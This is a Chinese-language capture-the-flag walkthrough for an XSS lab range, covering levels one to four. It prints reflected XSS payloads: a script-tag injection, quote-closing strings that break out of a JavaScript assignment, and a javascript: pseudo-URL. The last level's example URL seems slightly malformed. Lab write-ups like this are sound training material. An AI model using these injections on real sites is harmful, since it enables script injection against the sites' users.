一、解题思路
首先启动靶机进入靶场,优先查看使用说明。
这个靶场属于闯关模式,只有通过所有关卡最终才能拿到 flag。
1. 第一关
看到 URL,直接构造 payload <script>alert(1)</script>,即可成功触发。
http://target.com/level1?username=<script>alert(1)</script>
2. 第二关
使用第一关的套路,页面上没有回显,查看源代码发现存在 JS 过滤代码,username 被函数 escape 进行 URL 编码。
<script type="text/javascript"> if(location.search == ""){ location.search = "?username=xss" } var username = 'xss'; document.getElementById('ccc').innerHTML= "Welcome " + escape(username); </script>
需要绕过赋值代码。使用 ' 闭合前边的 ',加上 alert(1);,并在后边使用 ' 闭合。
http://target.com/level2?username=';alert(1);'
3. 第三关
页面无回显,源代码发现输入的查询参数中多了一个 / 和 '。
改造第二关的方法进行绕过:
'';alert(1);'
http://target.com/level3?username='';alert(1);'
4. 第四关
页面死循环,查看源代码分析 JS 逻辑。代码中使用 jumpUrl 作为跳转目标 URL,可以使用 javascript 伪链接执行代码。
jumpUrl=javascript:alert(1)
http://target.com/level4?=javascript:alert()

